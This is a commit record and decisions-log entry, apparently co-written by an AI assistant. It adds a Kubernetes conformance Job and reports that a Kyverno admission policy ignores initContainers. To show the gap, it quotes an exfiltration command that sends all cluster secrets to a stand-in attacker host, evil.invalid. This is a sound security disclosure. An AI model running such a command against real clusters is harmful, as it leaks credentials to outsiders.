feat(conformance): the in-cluster Job can now run a named commit and get its results out
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped

`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
This commit is contained in:
jakman85andClaude Opus 5 committed 2026-09-29 19:15:25 -05:00
1 parent 20ea70d221
commit d3d5f6d8d2
7 files changed
+632 -55

No files matched your search

+129
View File
@@ -5109,3 +5109,132 @@ next L2/L3 piece on top of unmerged branches would create a rebase tangle for no
cannot land any faster. The next piece is specified and ready to start once these are merged:
`docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its
boundary landed in #13.
---
## 2026-09-29 — The conformance Job can now run a specific commit and get its results out. **And the policy meant to bound it ignores `initContainers`.**
Branch `feat/conformance-job-template`. Closes `docs/plans/l2-l3-conformance-ci-wiring.md`
§3 items **2** (repo at the commit under test) and **3** (results collection with no exec
channel). `chainsaw-job.yaml` was a skeleton whose `workspace` was an empty `emptyDir` with
nothing to fill it; it is now a renderable run template.
### The binding constraint, and how it was met
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy:
Fail`) admits **only `workspace` and `results`** as volume names. So the git credential
could not be a Secret volume and the init container could not have a scratch volume:
- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
(`username`, `token`) — an env var is not a volume. By **name only**; no literal in the
tree. The token reaches `git` through an inline `credential.helper` that reads the
environment, so it never appears in argv (where `ps` and the Pod spec would show it) and
is never written to disk.
- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
`$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner
could not write it.
- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the
clone target, and a directory mounted into it makes the target non-empty, so `git clone`
refuses. Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
**Admission proven, not assumed** — rendered template through the pinned CLI (kyverno
v1.19.0, in the toolbox):
kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
--resource <rendered job> --userinfo .../user-info.yaml
Applying 3 policy rule(s) to 1 resource(s)...
pass: 3, fail: 0, warn: 0, error: 0, skip: 0
with negative controls on the **same** rendered template to show the rules actually bite:
adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
`/spec/template/spec/containers/0/command/`. That shape is now a fixture
(`real-template` in `platform/kyverno/tests/conformance-trigger/resources.yaml`), so a
template that drifts out of admission fails `make -C ci l0` instead of failing at 2am.
### ⚠ THE FINDING: the admission boundary does not look at `initContainers`
Measured, same CLI, same rendered template — **only** the init container's `args` replaced
with `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`,
`containers[0]` left fully compliant:
pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
All three rules read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). **`initContainers` is never examined.** So the
precise escalation the policy exists to stop — the privileged `conformance-runner` SA
running an arbitrary command because Kubernetes places no `use` check on
`serviceAccountName` — is still reachable, one field over. This predates today's work: the
gap was there when the policy shipped in PR #13, and a Job with no init container at all
could already have carried one.
**Not fixed here, deliberately.** A security boundary changes in its own reviewed PR, not
smuggled in beside the Job that has to satisfy it. Recommended follow-up, in order:
1. Bake the clone script into the runner image at a fixed path, drop the init container's
`args`, and add a 4th rule pinning `initContainers` to one container on the same
digest-pinned image with `command: ["/usr/local/bin/conformance-clone"]` and no args.
Then no caller-supplied code runs in an init container at all.
2. Weaker fallback: deny any `initContainers` entry whose image is not the pinned runner
image.
Also worth knowing: **`kyverno apply` evaluates these rules with or without `--userinfo`** —
the extra-volume control fails either way. A CLI pass is evidence about the *patterns*, not
about the `subjects` filter. The claim in `kyverno-test.yaml`'s header that userinfo is what
makes the cases non-trivial holds for `kyverno test`, not for `kyverno apply`.
### Results out of the Job with no exec channel
The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins
`command` to exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts
afterwards. `run.sh` therefore does it itself, on an **EXIT trap** (a failed run still ships
its red JUnit — that is the evidence the gate most needs), armed only by
`CONF_EMIT_ARTIFACTS_TGZ=1`:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
<base64 of the tgz, wrapped at 76 columns>
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
decodes a truncated stream to plausible garbage without complaint. So size, base64 line
count and digest appear in **both** markers and the collector owes five checks, each
documented above the function. **Verified locally, not asserted:** full decode round-trips
to a valid tar; tail-truncation and head-truncation fail check 1; a dropped interior line
fails check 3; one corrupted character fails check 5. Exit-code preservation through the
trap was tested for 0, an explicit `exit 3`, and a `set -e` abort — the envelope's `rc=`
matched the process rc in all three.
### Gate
Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main
checkout's `.git`, per CLAUDE.md §3):
lint: green l0: green render-golden: green l1: green
spec-immutability: SKIPPED (sibling spec repo absent)
gitea-settings: SKIPPED (no SETTINGS_API_TOKEN locally)
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE unset)
MERGE GATE: UNDETERMINED — rc 3
Nothing FAILED. rc 3 is the expected local outcome and `gate.yml` tolerates it.
### UNVERIFIED — read before believing any of this runs
- **Nothing here has ever executed.** The `conformance-runner` image does not exist (plan §3
item 1), so the Job cannot be submitted, and the init container's clone/fetch/assert
sequence, the credential helper and the envelope-over-`kubectl-logs` path are all
**unexercised against a cluster**. The envelope itself is verified; its transport is not.
- Secret `conformance-git-readonly` does not exist (plan §3 item 6, operator).
- `uid 65532` is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it
has not been built. If the Containerfile picks a different uid, the Job will not start.
- Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not
tested; the shallow-clone-then-fetch fallback assumes it does. If it does not, the
`HEAD == SHA` assertion turns that into a loud failure rather than a wrong-tree run.
- `ci/conformance.sh` still runs the suite **locally** and is untouched (plan §3 item 4).
This branch changes nothing about what CI does today.
### PR
Opened against `main`, **not merged**. Its CI is **expected to FAIL on `approval-policy`**:
`conformance/**` is security-relevant and needs a human approval. That is the control
working; it was not worked around.